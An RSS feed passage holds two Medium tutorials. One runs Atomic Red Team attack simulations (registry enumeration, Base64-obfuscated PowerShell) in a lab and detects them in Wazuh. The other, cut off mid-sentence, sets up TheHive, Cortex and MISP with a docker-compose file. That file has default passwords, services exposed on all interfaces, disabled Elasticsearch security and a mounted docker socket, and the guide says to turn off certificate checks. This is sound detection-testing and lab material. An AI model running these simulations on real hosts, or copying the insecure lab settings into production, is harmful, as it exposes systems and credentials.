T1012.</p><p>To do this, I will use the following command:</p><p><strong>Invoke-AtomicTest T1012 -CheckPrereqs</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*rHAn9HY3bMFQTtBh.png" /></figure><p>As you can see in the screenshot above, my operating system meets the requirements for the tests related to this technique (enumeration and querying the Windows registry), so I can confidently run these tests and wait for the results. Don’t worry — I’ll be moving on to running the individual attack simulations very soon.</p><p>However, there may be situations where your system does not meet the requirements for these tests. I’ll now show you an example where my system does not meet certain requirements, and I’ll also show you what you can do in such a situation to ensure it meets those requirements.</p><p>Now, as an example, I’ll check whether my system meets the requirements for running tests for the technique with ID T1046 (NMAP Port Scan for Windows). I specifically chose this example because I don’t have NMAP installed, so it probably won’t meet the requirements, but let’s check it out!</p><p>To do this, I’m using the following command:</p><p><strong>Invoke-AtomicTest T1046 -CheckPrereqs</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*x9h-QT3C2NN2LncF.png" /></figure><p>As you can see, in this case, I don’t have nmap or Python installed on Windows. In this situation, you can try using the -GetPrereqs switch. When you use it, AtomicRedTeam will attempt to download the missing software, repositories, etc., on its own; however, sometimes this simply won’t work, and you’ll have to manually download and install the missing components anyway.</p><p>To do this, I used the following command:</p><p><strong>Invoke-AtomicTest T1046 -GetPrereqs</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*ufdQVjXKzNhJdgne.png" /></figure><p>From the screenshot above, it appears that AtomicRedTeam attempted to download the missing components, but unfortunately, the attempt failed. I wanted to show you this example to make you aware that in some situations you will have to manually install the missing components, but it’s worth knowing that there is an option in AtomicRedTeam that can automate this process somewhat — or at least try to.</p><p>Finally, I’ll now move on to what I personally consider the most interesting part: running individual Atomic tests and identifying them in the Wazuh SIEM system.</p><p>In the next section, I’ll show you how to run individual attack simulations and analyze them in Wazuh.</p><h3>Running Atomic tests and identifying them in Wazuh</h3><p>First, I’ll show you how to run these tests using the Invoke-AtomicTest module, and then I’ll show you how to identify these attacks in Wazuh (provided, of course, that the test is detected correctly).</p><p>Important note: Before proceeding with these attack simulations, for security reasons, disable or disconnect the network card on the system where you will be running these attack simulations. Your machine should communicate with the Wazuh manager over a Host-Only network or an internal network — depending on your configuration. In my case, it communicates with the Wazuh manager over a Host-Only network.</p><p>In the first example, I will run tests for the technique with ID <strong>T1012 — querying and enumerating the Windows registry</strong> — to gather various pieces of information about the system.</p><p>You can find a complete list of available techniques, along with their descriptions, by clicking the link below:</p><h3><a href="https://www.atomicredteam.io/atomic-red-team?source=post_page-----80b65c4c1762---------------------------------------">Atomic Red Team™</a></h3><h3><a href="https://www.atomicredteam.io/atomic-red-team?source=post_page-----80b65c4c1762---------------------------------------">Atomic Red Team is an open source library of tests designed to test your organization’s security controls, and this…</a></h3><p><a href="https://www.atomicredteam.io/atomic-red-team?source=post_page-----80b65c4c1762---------------------------------------">www.atomicredteam.io</a></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*WXo20cu_G67zo1_C.png" /></figure><p>On this page, you can also filter a specific tactic by its ID or by keywords. Additionally, you can filter results by platform (Windows, Linux, macOS, etc.) and by tactics or triggers for a given test (PowerShell, cmd). Furthermore, clicking on a technique’s ID will open its documentation, where you’ll find interesting, detailed information.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*x6ZZGA__fzErF_oe.png" /></figure><p>All right, getting back to the process of running the individual tests, as I mentioned, I’ll start by focusing on the T1012 technique.</p><p>First, I’ll display the tests that will be performed and that are part of this technique. To do this, I’ll use the -ShowDetailsBrief parameter, which you’re already familiar with.</p><p>The complete command to display the tests that will be performed looks like this:</p><p><strong>Invoke-AtomicTest T1012 -ShowDetailsBrief</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*IHetwLdd9JhrInkv.png" /></figure><p>Note that each test has its own unique number. There’s a good reason for this. Namely, you can run all the tests at once, and they’ll execute one after another, but you can also choose which test or tests to run. You have full control over this and can select any one or any combination of them.</p><p>I’ll now show you an example where I’ll run the second test — Query Registry with Powershell cmdlets. The rule is that you first specify the technique ID, followed by a hyphen and the number of the test(s) you want to run.</p><p>To do this, I’ll use the following command:</p><p><strong>Invoke-AtomicTest T1012–2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*twtm3fsuxOD4KThl.png" /></figure><p>After running the command above, you will see a detailed output containing various information retrieved from the Windows registry.</p><p>Now I’ll go to the Wazuh Dashboard and check whether this activity (the test I ran) was correctly detected by the Sysmon software and the Sysmon detection rules.</p><p>If you have two or more monitors, it’s best to run the attack simulations on one monitor while using the other to view the Threat Hunting section of the Wazuh Dashboard and try to identify the attacks. It’ll be a lot of fun and a great exercise at the same time!</p><p>In Wazuh, under the “Threat Hunting” section, I selected the agent (from the “Explore Agent” option) whose events I want to analyze and view.</p><p>Note that I set the timestamp to “Last 1 minute.” I specifically used this timestamp to narrow down the displayed events as much as possible and focus only on those related to the execution of a given test from Atomic Red Team.</p><p>In the screenshot below, I’ve shown you the events that were generated by detection rules after running a test that displays host information retrieved from the Windows registry.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*3i5THoZkb3Jg3aAU.png" /></figure><p>In this document, I won’t delve too deeply into the process of threat analysis, as it is a broad topic that I may address in a separate publication in the future. My goal is to show you how you can preliminarily identify these attacks in Wazuh and, at the same time, make you aware that it’s worth having a good Sysmon configuration and well-chosen detection rules.</p><p>Returning to the analysis, my attention was particularly drawn to an event involving the execution of the findstr.exe process, i.e., the find string tool.</p><p>I had previously reviewed the technical details of this test, and during the test, this tool was indeed used to filter for the keyword “Windows” while searching paths in the Windows registry.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*vGkYsryBNZ9ji-MZ.png" /></figure><p>The `data.win.eventdata.parentCommandLine` field shows exactly which commands were executed. These commands involved searching various paths in the Windows registry and extracting specific information from them. They were executed via `powershell.exe`, i.e., the PowerShell terminal.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*63xntiNLzsw_VPH4.png" /></figure><p>Go to this page now (link below) and navigate to the Atomic Test #2 section. You’ll see a list of commands that were executed in this test. Exactly the same commands were listed in the “data.win.eventdata.parentCommandLine” section of the event details.</p><h3><a href="https://www.atomicredteam.io/docs/atomics/T1012?source=post_page-----80b65c4c1762---------------------------------------">Atomic Red Team™: T1012</a></h3><h3><a href="https://www.atomicredteam.io/docs/atomics/T1012?source=post_page-----80b65c4c1762---------------------------------------">Atomic Red Team is an open source library of tests designed to test your organization’s security controls, and this…</a></h3><p><a href="https://www.atomicredteam.io/docs/atomics/T1012?source=post_page-----80b65c4c1762---------------------------------------">www.atomicredteam.io</a></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*jMuMVLZOEqtblMg5.png" /></figure><p>What conclusion can we draw from this? Specifically, this attack/test simulation was correctly identified by the Sysmon software and one of its detection rules.</p><p>Of course, this does not mean that every single attack from the Atomic Red Team will be correctly identified.</p><p>This is precisely why this solution (Atomic Red Team) is used, among other things, to see if detection systems (SIEM, XDR/EDR, SOAR, etc.) will correctly detect these attacks. Well-chosen and well-written detection rules are at the heart of good detection.</p><p>Now I’ll show you how to run all the tests that make up a given technique at once.</p><p>To run each test for a given technique, simply enter the technique’s ID.</p><p>The example below is for the T1012 technique:</p><p><strong>Invoke-AtomicTest T1012</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*2fjONyPjI9DHrbEi.png" /></figure><p>Once you’ve run all the tests for a given technique, you’ll be able to see the progress of those tests and the output of the executed commands in real time.</p><p>After running these tests, I simultaneously began identifying these attacks on the second monitor in the “Threat Hunting” section of the Wazuh Dashboard.</p><p>Within just a few seconds, the first events appeared.</p><p>The following event caught my attention: “Suspicious Windows cmd shell execution”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*ECNpkLonk02caj9u.png" /></figure><p>If you drill down into the details of this event again, the <strong>`data.win.eventdata.parentCommandLine`</strong> field shows exactly which commands were executed. Once again, these commands involve querying the Windows registry.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*gYugIZUhIuhU_AJ2.png" /></figure><p>Importantly, once a test has finished, you will receive a notification that it has completed. If it ended with an error or errors, you will also receive a notification to that effect.</p><p>Example in the screenshot below:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*zyENSEsunUgVieex.png" /></figure><p>You can also run all the tests implemented in the Atomic Red Team solution at once. Of course, this isn’t recommended, as it can put a significant strain on your system and cause some disruption, so I advise you to proceed with extreme caution!</p><p>Below is a command that will run each test.</p><p>I do not recommend using this approach in a production environment!</p><p>Executing the following command can also put a significant strain on your detection systems, as the volume of various events originating from this host will be very high</p><p><strong>Invoke-AtomicTest All</strong></p><p>Now I’ll walk you through the entire methodology step by step as a review. This time, I’ll be conducting tests on the T1027 technique (Obfuscated Files or Information).</p><p>If you’d like to delve deeper into this technique, I encourage you to visit the following websites:</p><p><a href="https://attack.mitre.org/techniques/T1027/"><strong>https://attack.mitre.org/techniques/T1027/</strong></a></p><p><a href="https://www.atomicredteam.io/docs/atomics/T1027"><strong>https://www.atomicredteam.io/docs/atomics/T1027</strong></a></p><p>First, as usual, I display a list of the tests that will be performed.</p><p><strong>Invoke-AtomicTest T1027 -ShowDetailsBrief</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*SuR9OsF-ZAYrGfC-.png" /></figure><p>In the next step, I’ll run all the tests. Remember that you can also run a specific test or tests. I showed you how to do that earlier. In this case, I’m running them all:</p><p><strong>Invoke-AtomicTest T1027</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*isOgnl09Gkt9g_3c.png" /></figure><p>The screenshot above shows only a portion of the test results. As you can see in the screenshot, a Base64-encoded command was generated and executed. The Base64-encoded command is “Hey, Atomic!” To verify this, I entered it into the Cyberched tool and decoded it:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*YQGES4GtVEmIKiyG.png" /></figure><p>I’ll check the Wazuh Dashboard now to see if this command appears in both Base64 and its decoded form.</p><p>I paid particular attention to the following event — “Powershell.exe spawned a PowerShell process that executed a Base64-encoded command”- especially since the rule responsible for generating this event has a high severity level of 12, making it a significant security event.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*CTFDjXAGravi8dIu.png" /></figure><p>When you view the details of this event, the `data.win.eventdata.commandLine` field shows exactly which command was used to encode the text “Hey, Atomic!” using the Base64 algorithm.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*-f_SBH5KNRIVYgg2.png" /></figure><p>You now know how to run individual tests using the Atomic Red Team solution, specifically the Invoke-AtomicTest module. It is recommended that you roll back the changes made by the tests to restore the system to its state prior to the start of testing. I’ll show you how to do this in the next section.</p><h3>Cleanup after running Atomic tests</h3><p>As you probably already know, the various attack simulations and tests you’ve run can cause some disruption to the operating system and make certain changes to it. Fortunately, after completing each test, you can undo the changes that were made to the system by that test or those tests.</p><p>To do this, simply specify the technique ID and include the -Cleanup parameter.</p><p>Example below:</p><p><strong>Invoke-AtomicTest T1027 -Cleanup</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*P1JJ9ZVdxawlFI07.png" /></figure><p>Simply put, all actions/activities performed by the tests associated with technique ID T1027 have been deleted.</p><p>Remember to clear the changes after each test or set of tests. This will allow you to return to the configuration/settings prior to starting the test.</p><h3>Recording the results of individual tests — WinEvent Logger</h3><p>You can save the results of individual tests to an external .csv file, syslog, or the Windows Event Log.</p><p>If you want to save the results of the tests to the event log, use the following command:</p><p><strong>Invoke-AtomicTest T1027 -LoggingModule “WinEvent-ExecutionLogger”</strong></p><p>The command above will log the results of the tests to the event log. In the “Applications and Service Logs” section of the event log, a file named “Atomic Red Team” will be created, which will contain events indicating whether a given test succeeded or failed.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*VpHCNx54r77H6OCd.png" /></figure><h3>Summary</h3><p>Cybersecurity teams should use Atomic Red Team because it provides safe, repeatable, and practical simulations of real-world attacker behaviors mapped to the MITRE ATT&amp;CK framework. This allows defenders to validate whether their preventive controls, monitoring, and detection logic actually work in practice rather than only in theory. Regular testing helps teams identify blind spots, improve alert quality, reduce false negatives, and confirm that implemented security measures are effective against realistic attack techniques.</p><p>Using Sysmon, Atomic Red Team, and the Wazuh SIEM together creates a powerful and efficient testing approach. Atomic Red Team generates controlled attack simulations, Sysmon delivers detailed endpoint telemetry, and Wazuh enables centralized log analysis, correlation, and alerting. Combined, these tools help organizations continuously test their defenses, verify detection rules, and improve their ability to quickly detect and respond to attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18bcc1af6aa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an Enterprise IR & Threat Intel Platform with TheHive, Cortex and MISP]]></title>
            <link>https://medium.com/@blackxsec/building-an-enterprise-ir-threat-intel-platform-with-thehive-cortex-and-misp-4716154c69ba?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4716154c69ba</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[misp]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 20:43:12 GMT</pubDate>
            <atom:updated>2026-07-20T20:44:22.895Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*DcOwbkJD74GibSVk.jpg" /><figcaption>Incident Response</figcaption></figure><p>Its time to set up your incident response platform: The Hive. We will also be setting up Cortex and MISP(Malware Information Sharing Platform) to enrich our data with threat intelligence from sites like VirusTotal and Malware Bazaar.</p><h3>Prerequisites</h3><p>In this guide The Hive, Cortex and MISP will be set up as docker containers, so you will need a Proxmox container or VM with docker and docker compose installed. There are plenty of guides, videos and documentation on achieving this so I wont be going over it, use some google fu! Once you’ve got your container/VM up and running, assign it a static IP address like you’ve done in previous parts of this guide.</p><h3>Installing containers with docker-compose</h3><p>Once you have your docker platform up and running go ahead and make a directory called the_hive in your home directory, then create a file called docker-compose.yml in that directory.</p><blockquote><em>Its very important that that the file is named docker-compose.yml, as when we run docker compose it will look for this file as its build guide.</em></blockquote><p>Use nano(or whatever text editor you prefer) to edit the empty file. Now copy/paste in the following .yml script into the file.</p><pre>services:<br>  thehive:<br>    image: strangebee/thehive:5.2<br>    restart: unless-stopped<br>    depends_on:<br>      - cassandra<br>      - elasticsearch<br>      - minio<br>      - cortex.local<br>    mem_limit: 1500m<br>    ports:<br>      - &quot;0.0.0.0:9000:9000&quot;<br>    environment:<br>      - JVM_OPTS=&quot;-Xms1024M -Xmx1024M&quot;<br>    command:<br>      - --secret<br>      - &quot;lab123456789&quot;<br>      - &quot;--cql-hostnames&quot;<br>      - &quot;cassandra&quot;<br>      - &quot;--index-backend&quot;<br>      - &quot;elasticsearch&quot;<br>      - &quot;--es-hostnames&quot;<br>      - &quot;elasticsearch&quot;<br>      - &quot;--s3-endpoint&quot;<br>      - &quot;http://minio:9002&quot;<br>      - &quot;--s3-access-key&quot;<br>      - &quot;minioadmin&quot;<br>      - &quot;--s3-secret-key&quot;<br>      - &quot;minioadmin&quot;<br>      - &quot;--s3-use-path-access-style&quot;<br>    #If you are familiar with the previous docker compose file you will note that the Cortex ports and keys have been omitted this is because we can now<br>    #complete the integration from TheHive GUI directly.<br>    volumes:<br>      - thehivedata:/etc/thehive/application.conf<br>    networks:<br>      - SOC_NET</pre><pre>  cassandra:<br>    image: &#39;cassandra:4&#39;<br>    restart: unless-stopped<br>    ports:<br>      - &quot;0.0.0.0:9042:9042&quot;<br>    environment:<br>      - CASSANDRA_CLUSTER_NAME=TheHive<br>    volumes:<br>      - cassandradata:/var/lib/cassandra<br>    networks:<br>      - SOC_NET<br>    <br>  elasticsearch:<br>    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.9<br>    restart: unless-stopped<br>    mem_limit: 512m<br>    ports:<br>      - &quot;0.0.0.0:9200:9200&quot;<br>    environment:<br>      - discovery.type=single-node<br>      - xpack.security.enabled=false<br>      - cluster.name=hive<br>      - http.host=0.0.0.0<br>      - &quot;ES_JAVA_OPTS=-Xms256m -Xmx256m&quot;<br>    volumes:<br>      - elasticsearchdata:/usr/share/elasticsearch/data<br>    networks:<br>      - SOC_NET</pre><pre>  minio:<br>    image: quay.io/minio/minio<br>    restart: unless-stopped<br>    command: [&quot;minio&quot;, &quot;server&quot;, &quot;/data&quot;, &quot;--console-address&quot;, &quot;:9002&quot;]<br>    environment:<br>      - MINIO_ROOT_USER=minioadmin<br>      - MINIO_ROOT_PASSWORD=minioadmin<br>    ports:<br>      - &quot;0.0.0.0:9002:9002&quot;<br>    volumes:<br>      - &quot;miniodata:/data&quot;<br>    networks:<br>      - SOC_NET</pre><pre>#appended .local onto the container name because when we integrate cortex with TheHive using the new GUI menu it only accept a FQDN.<br>  cortex.local:<br>    image: thehiveproject/cortex:latest<br>    restart: unless-stopped<br>    environment:<br>      - job_directory=/tmp/cortex-jobs<br>      - docker_job_directory=/tmp/cortex-jobs<br>    volumes:<br>      #For analyzers and responders (called neurons, also based on docker containers) to work, we need to bind the hosts docker socket into the cortex container<br>      #so it can use the docker service of the host, and share the job directory between the container and the host.<br>      #An alternative way of doing this would be to run docker (neurons) within the cortex docker container (docker-ception), the container will need to be run in <br>      #privileged mode and you will need the --start-docker parameter for this work. It is however not advised to run docker containers in priviliged mode because it<br>      #grants the docker container root capabilities over the host system which is a security risk. <br>      - /var/run/docker.sock:/var/run/docker.sock<br>      - /tmp/cortex-jobs:/tmp/cortex-jobs<br>      - ./cortex/logs:/var/log/cortex<br>      - ./cortex/application.conf:/cortex/application.conf<br>    depends_on:<br>      - elasticsearch<br>    ports:<br>      - &quot;0.0.0.0:9001:9001&quot;<br>    networks:<br>      - SOC_NET<br>  #appended .local onto the container name because when we integrate MISP with TheHive using the new GUI menu it only accepts a FQDN.<br>  misp.local:<br>    image: coolacid/misp-docker:core-latest<br>    restart: unless-stopped<br>    depends_on: <br>      - misp_mysql<br>    ports:<br>      - &quot;0.0.0.0:80:80&quot;<br>      - &quot;0.0.0.0:443:443&quot;<br>    volumes:<br>      - &quot;./server-configs/:/var/www/MISP/app/Config/&quot;<br>      - &quot;./logs/:/var/www/MISP/app/tmp/logs/&quot;<br>      - &quot;./files/:/var/www/MISP/app/files&quot;<br>      - &quot;./ssl/:/etc/nginx/certs&quot;<br>    environment:<br>      - MYSQL_HOST=misp_mysql<br>      - MYSQL_DATABASE=mispdb<br>      - MYSQL_USER=mispuser<br>      - MYSQL_PASSWORD=misppass<br>      - MISP_ADMIN_EMAIL=mispadmin@lab.local<br>      - MISP_ADMIN_PASSPHRASE=mispadminpass<br>      - MISP_BASEURL=localhost<br>      - TIMEZONE=Europe/London<br>      - &quot;INIT=true&quot;         <br>      - &quot;CRON_USER_ID=1&quot;   <br>      - &quot;REDIS_FQDN=redis&quot;<br>      - &quot;HOSTNAME=https://&lt;IP&gt;&quot;<br>    networks:<br>      - SOC_NET</pre><pre>  misp_mysql:<br>    image: mysql/mysql-server:5.7<br>    restart: unless-stopped<br>    volumes:<br>      - mispsqldata:/var/lib/mysql<br>    environment:<br>      - MYSQL_DATABASE=mispdb<br>      - MYSQL_USER=mispuser<br>      - MYSQL_PASSWORD=misppass<br>      - MYSQL_ROOT_PASSWORD=mispass<br>    networks:<br>      - SOC_NET<br>  redis:<br>    image: redis:latest<br>    networks:<br>      - SOC_NET<br>  misp-modules:<br>    image: coolacid/misp-docker:modules-latest<br>    environment:<br>      - &quot;REDIS_BACKEND=redis&quot;<br>    depends_on:<br>      - redis<br>      - misp_mysql<br>    networks:<br>      - SOC_NET<br>  #removed the cortex volumes as we no longer require it, cortex will share the /tmp directory for jobs, the logs and application files will be stored in the cortex folder<br>  #in the same directory on the host where the docker-compose.yml resides for ease of access. <br>volumes:<br>  miniodata:<br>  cassandradata:<br>  elasticsearchdata:<br>  thehivedata:<br>  mispsqldata:</pre><pre>networks:<br>    SOC_NET:<br>          driver: bridge</pre><p>You can find this script at <a href="https://github.com/ls111-cybersec/thehive-cortex-misp-docker-compose-lab11update/blob/main/docker-compose.yml">https://github.com/ls111-cybersec/thehive-cortex-misp-docker-compose-lab11update/blob/main/docker-compose.yml</a>. I did not make, all of the praise should go to ls111 Cyber Security Education.</p><p>Once you’ve pasted the .yml script locate this line of code: — “HOSTNAME=https://&lt;IP&gt;”</p><p>Replace &lt;IP&gt; with the IP you set earlier.</p><p>Now save the file and run the command <strong>docker-compose up</strong></p><p>docker compose will begin installing and configuring all of the containers outlined in the script.</p><blockquote><em>It will take a long time for all of this to install! I suggest installing this in the evening and letting it do its thing overnight to ensure everything is up and running.</em></blockquote><h3>Configuration</h3><p>Once everything is up and running you will be able to access each service by using your static IP address along with a specific port.</p><p>The Hive: http://&lt;IP&gt;:9000</p><p>Cortex: http://&lt;IP&gt;:9001</p><p>MISP: http://&lt;IP&gt;</p><p>We will start with MISP, MISP uses port 443 so there is no need to specify a port, navigate to the IP and you will be greeted with this login screen:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*iUqfVyMAN2Y_dZRC.png" /></figure><p>The default login credentials are email: <strong>admin@admin.test</strong> password: <strong>admin</strong>. The first thing to do once logging in is set a new login password.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*G1Ti-8O3Ja522Ndm.png" /></figure><p>Now we need to add a new organization to MISP, so navigate to the administration tab and select add organization.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*hjg8E8hxhKL1you4.png" /></figure><p>All we need to worry about here is giving our organization an identifier and generating a UUID, feel free to name your organization whatever you like. Once your done, scroll down and hit submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mwUI2uopzgn4JBtl.png" /></figure><p>Now we need to add a user and tie that user to our new organization, head back to the administration tab and select add user.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*7SGdG308etDcmmfl.png" /></figure><p>You can set a fake or real email here, up to you. Make sure you set a password, assign the user to your new organization, and set the Role to Org Admin.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*_yv-CCt8XTSvypx_.png" /></figure><p>In order to link MISP to The Hive, we’ll need an auth key, so head over to the actions section and click the eye icon to view our new user.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*uEtizMaZzd4JlfSx.png" /></figure><p>Scroll down until you see “Auth keys” and then click the link</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*ziyG4plF1shmwC2I.png" /></figure><p>Now click “Add authentication key”</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*mmrCj_oKo3RIUuUR.png" /></figure><p>A new window should pop up, we don’t need to add anything here, just click submit.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/0*POJPc6VTYrx4H2Y3.png" /></figure><p>Now we have our Auth key!</p><blockquote><em>Make sure to save this key, we will be using it later!</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*Hl6wRKqV42vRZVzZ.png" /></figure><p>Now we need to set up Cortex, change the port number to 9001 and head to the login screen.</p><blockquote><em>You may see the following screen, no need to panic, just click Update Database.</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*EqirHtmfyYQiEjtI.png" /></figure><p>You’ll be prompted to create your administrator account.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*RHGoewBj0pCjzgG_.png" /></figure><p>Go ahead and log into the account you created.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*wOTvcgJG-Vr0RVJw.png" /></figure><p>We need to set up Cortex similarly to MISP, so first we need to create an organization.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*HjxNMx-vAOqqMsgg.png" /></figure><p>Choose whatever name you would like, give it a brief description, then save it.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*KdKlsjAm03v3XiP_.png" /></figure><p>Now navigate to the user section.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*_QkOm84WaZ1yigiS.png" /></figure><p>click “Add User”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*4pZOqpmdaSS4RolO.png" /></figure><p>Fill in the required sections and save your new user. Make sure to specify the new organization you created and assign the “read, analyse, orgadmin” role to the user.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*AZ9bV16omtVj0RgW.png" /></figure><p>Set a password for your new user and create an api key.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*hga-3HlFHk7AdpCh.png" /></figure><p>Reveal the api key and save it with the MISP key you created earlier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*pJJkLM-SLNZ2Gh12.png" /></figure><p>Time for The Hive, the initial login credentials are username: <strong>admin</strong> password: <strong>secret</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*5Gw-FwA5gXYnNYnc.png" /></figure><p>Head over to the Platform Management section.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*cU8owb8kJJinjvhN.png" /></figure><p>click on the Cortex section.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*1azMzRFUXhp0_1q6.png" /></figure><p>Scroll down and select the Cortex server.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*Q4K6R78enXUK87Zp.png" /></figure><p>Change the URL to your IP address and paste in the api key we created earlier.</p><blockquote><em>Make sure to uncheck “Check Certificate Authority as we are using an internal cert and The Hive wont be a fan of that.</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*IbFDwTKqNii3uGPU.png" /></figure><p>Click update then navigate to the MISP section and click the add icon.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*r-aiTeJa--70GwlG.png" /></figure><p>Input the required info and paste in the auth key we created earlier.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*RMwsvRSBiVUK3bln.png" /></figure><blockquote><em>Same thing here, uncheck ‘Check Certificate Authority’.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/0*egGzkyN_qTYal8Ob.png" /></figure><p>Lastly, we need to set up an organization and a user like we’ve done with Cortex and MISP.</p><p>Click on the Organization tab then click the plus icon to make a new org.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*orhkvozKRTk8QNfT.png" /></figure><p>Nothing too crazy here. Give your org a name and brief description, the last two rules can be left as ‘manual’.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*6O9K8iej5FaJJ1Xs.png" /></figure><p>Now we’ll add a user to the new organization. click the user tab and then the plus icon.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*-5RByP5_JIEKRZew.png" /></figure><p>Keep the type as default, fill in the name login and name fields, select your new organization and give the user org-admin privileges.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*FK5BHPbPJK-24Ul1.png" /></figure><p>Hover your mouse over the new user and you will see a ‘Preview’ button, click that to open user settings.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*D3hxm7CFhlFIXP-1.png" /></figure><p>Scroll down until you see the option to set a password, then go ahead do just that.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*aCqq2QcuaWJd5DMK.png" /></figure><p>And with that, initial configuration is done!</p><h3>Creating analyzers</h3><p>Cortex analyzers are small programs used to automate gathering information about IOC’s that we may find in our network. There are 